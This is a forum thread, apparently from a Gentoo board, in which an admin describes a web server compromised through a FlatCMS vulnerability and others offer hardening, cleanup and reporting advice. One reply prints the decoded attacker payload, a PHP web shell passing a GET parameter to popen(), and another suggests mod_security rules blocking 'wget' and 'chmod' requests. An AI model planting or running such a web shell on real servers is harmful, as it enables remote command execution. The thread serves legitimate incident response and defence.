# Production server... for websites... got hacked :-(

## bmilde

Mhm I don't thought that this would ever happen to me...  :Sad:  but... ok i'm perhaps now something what you can call an linux expert or maybe also an advanced gentoo user  :Wink: , but I'm actually wondering why the process call in php has worked: One of our customers had FlatCMS running on his website , which had security flaws and their is now for some days an exploit in the wild (i.e. http://coding.romainl.com/modules.php?name=testRss&view=1405). This script injects a popen call to php. Never heard of it... thought that 

```

disable_functions = exec passthru proc_open proc_close proc_get_status proc_terminate shell_exec system

```

disables all possibities to execute a file in php (it was php 5).

 The hackers are from italy, thats what their ip (whois) says, so I have numeros diffrent IPs (from same Provider I think) of the hacker. They used the exploit above and they installed an irc-bot, which connectes to a italian bot net and they abused the server for illegeal file sharing. The had uploaded 5 gig of italian movies and consumed 70 GB of traffic in 2 days. The movies are all in italian, so I think italy is the right country. Worst of all, this server had been running with kernel 2.6.10. Serveral local root exploits for that also in the wild. This is actually the cause why I found this hack in. Server crashed 2 times due to this local root exploits, with kernel oopses. The movies, the backdoors and so on had been installed in a dir called .cron in the www-user dir. Is cron than going to execute the files in there? Have they got in because of cron? Never heard of this .cron dirs. Need some informatioms about that  :Wink: 

One of the backdoors exportet the home dir /tmp. I wasn't able to ls -la /tmp. So ls manipulation or some kernel manipulation... could be ... don't know. The server is now taken from the net (....ok ... due to an unsuccesful attemp to update the kernel to a more recent version throug the net), the websites are copied to another server. It doesn't matter, the server must be definitly reinstalled . For more detailed informations I must wait to get access to the computer center the server is in.

 But now to the step I can take now: Reporting this hack attempt to the italian provider... Are there any expierences with that? What are the consequences? Should I report this hack attemp to the police? Also here any expierences? Btw. I live in Germany. I don't think the german police can do anything about it...  :Sad:  I hope some here can give me informations about the steps I can take now.

- B. Milde

----------

## jmp_

 *Quote:*   

> 
> 
> wasn't able to ls -la /tmp. So ls manipulation or some kernel manipulation... could be ... don't know. The server is now taken from the net 
> 
> 

 

you don't know ? xDDD

First of all, If it's posible to shutdown or restart in a single-user mode your server DO IT, if not, endurance is the word (I'm talking about your firewall).

buff... well, It's time to restore some binaries, run rkhunter, recompile your kernel and modules... erase all suspicious files ¡¡and check your logs!!

You can also prepare another server and migrate your sites to this new machine with updated sofware and secured services, and then clean the other one, examinate it or use as "honeypot server"

Snort was installed on the machine ? Any backup policy ?

I'm sure this is not a good advice... anyway, good luck!

----------

## ningo

If your server was compromised, whipe out your operating system and install it anew.

Don't forget to back up important files (/etc, /var/log,...)

----------

## bmilde

 *Quote:*   

> you don't know ? xDDD 

 

no haven't enough time to examine it. ls -la /tmp simply did nothing and was hanging for long time until I ctrl+c it. I have backups of all www-dirs and have moved them last night to a secure server. I have many log entrys of the attackers and it seems they haven't covered up their tracks, so I'm really in doubt whether they got root or not. 

 *Quote:*   

> If your server was compromised, whipe out your operating system and install it anew. 

 

I really think that would be the easiest way to get the server 100% hacker free. All logs had been backupt to another server directly as I got notice from the attack.

But I don't want this to happen again...so any php gurus can tell me what I have to put in disable_functions so my server can't execute a process from within php? And does someone no something about the .cron thingy?

----------

## jmp_

 *Quote:*   

> 
> 
> I really think that would be the easiest way to get the server 100% hacker free
> 
> 

 

They are not hackers, they're only script kiddies playing in a (insecure?) server.

 *Quote:*   

> 
> 
> I have many log entrys of the attackers and it seems they haven't covered up their tracks, so I'm really in doubt whether they got root or not. 
> 
> 

 

I can imagine that if they compromised your server was by getting root privileges somehow. Look for any rootkit installed, esure that you have fixed your new server security (known) holes before set it in a production enviroment.

...and try to send a report to the interested parts.

greetings.

----------

## hanj

 *Quote:*   

> But I don't want this to happen again...so any php gurus can tell me what I have to put in disable_functions so my server can't execute a process from within php? And does someone no something about the .cron thingy?

 

Looking at your disable_functions list.. I don't see popen in there. 

 *Quote:*   

> disable_functions = exec passthru proc_open proc_close proc_get_status proc_terminate shell_exec system 

 

I see proc_open.. which is close.. but not the same as popen. As you've seen they're using the popen() call.. Here is decoded value of the exploit..

```
<?$handle=popen\($_GET[cij],"r");while(!feof

($handle)){$line=fgets($handle);if(strlen($line

)>=1){echo"$line";}}pclose($handle);?>
```

If you were running in safe_mode environment.. that may have helped you. From the php.net site...

http://us3.php.net/manual/en/function.popen.php

 *Quote:*   

> Note: When safe mode is enabled, you can only execute executables within the safe_mode_exec_dir. For practical reasons it is currently not allowed to have .. components in the path to the executable.

 

I'm not really seeing how they're interacting with /tmp, so that leads me to believe that they've probably brought in another rootkit to do that job.

It 'looks' like FlatCMS has been defaced as well... http://www.flatcms.org

 *Quote:*   

> core-project - sabrina eu te prometo o sol...

 

which translates too..

 *Quote:*   

> Core-project - sabrina I promise the sun to you...

 

Options to explore in the future.

1. Make /tmp noexec, nosuid

2. Use safe_mode (even though this can be exploited still)

3. Don't use FlatCMS.. stick with something in portage

4. chroot apache

5. use mod_security and block dangerous vars/patterns

6. use snort/base to monitor attacks

7. go with a tougher kernel.. (hardened-sources, etc)

8. Use orisis to monitor your binaries remotely (http://www.hostintegrity.com/osiris/)

I'm sure we'll get a lot more useful tips.. this list rules for great help.

HTH

hanji

----------

## Catch-22

probably worth noting that it's highly likely that you were compromised from an already compromised machine (so even though you have an IP their tracks are still hidden)

----------

## bmilde

Many many thanks for your good advices, hanj. I think I learned now a lot more about php/apache - security. 

```
Looking at your disable_functions list.. I don't see popen in there. 
```

I'm also seeing this... but my question was more sort of: Are this all exec-functions possible with php? Is there one more?  ...

```
3. Don't use FlatCMS.. stick with something in portage 
```

I'm actually didn't know that FlatCMS was running on this server... as I said it was just a website hostet on our server. The person hosting this site has already informed the author of FlatCMS, who wasn't aware of this exploit going round (and of the defacement of his site!). He's taken exams so he hasn't the time to fix the security-hole and recommend to remove the admin-dir in FlatCMS, because he said that there could be even more holes. I agree with you, this CMS should be replaced with some better one  :Wink: 

----------

## smurfd

grsecurity. a good tip for kernel patch. and yes. hardened sources!!! 

i'd sleep even less if i had servers out in the wild without hardened.

http://www.gentoo.org/security/en/  check the bottom of the page, Links section.

(sorry if i diss your guruness, but i'd rather have it said. than not. mkay  :Smile:  )

dedicated firewall!!

see to that you dont have unnessesairy ports opened.

subscribe to some lists at securityfocus.com and follow the announcements of securityholes. and patch as they arrive in gentoo. (i know, easier said than done)

About catching these guys, all i can advise is. send a mail to the tech guys at the italian provider. attach log entrys. attach whatever things you can, that has their ip in it.

um and dont keep your hopes up..  :Sad: 

im guessing that the www/ folder was writable by some user, that the haxxor got ahold of. and "hid" it there with a dot cron name..

as you said, never heard of a .cron folder. 

if you wanna get really paranoid, get a chroot for apache+php+whatever..

----------

## Danathan

In addition to all the other security suggestions people have made, I would add the following principles and suggestions:

Principles:

(1) Keep things up to date.  Use your vendor's package tool whenever possible; for any other package, make sure you're on a security updates list.

(2) Close down as many attack vectors as possible.  Script kiddies attack (web)servers in two different ways, IME: they try to drop & execute an IRC bot in /tmp, and they try to get shell access through accounts with weak passwords.

(3) Monitor everything.

Concrete Suggestions:

(1) Obscure everything. Do everything via VHOST.  Don't expose anything via IP address.  So http://123.123.123.123/ should get you nothing... maybe a redirect to the proper hostname.  Install your open source packages in non-standard locations (ie, not /mambo or /wordpress).  

(2) Make /tmp noexec.

(3) Block all outbound and incoming traffic to IRC servers.

(4) Use logwatch, mod_security and other programs that will monitor for attacks.  Add mod_security rules as necessary (for instance, blocking request that include "wget" and "chmod")...

(5) Treat local exploits as being as dangerous as remote exploits, because, when you're running a webserver, everything is a remote exploit.

----------

## Danathan

 *bmilde wrote:*   

> But now to the step I can take now: Reporting this hack attempt to the italian provider... Are there any expierences with that? What are the consequences? Should I report this hack attemp to the police? Also here any expierences? Btw. I live in Germany.

 

On this point alone, my experience is that these worms spread through infected Linux webservers, which means that there's almost always someome you can email who is in charge of that specific (infected) host.  Earlier this week, I started emailing people who were running infected servers, and people are always really polite about it, and, if they didn't already know that their server is infected, they were generally appreciative of being notified.

----------

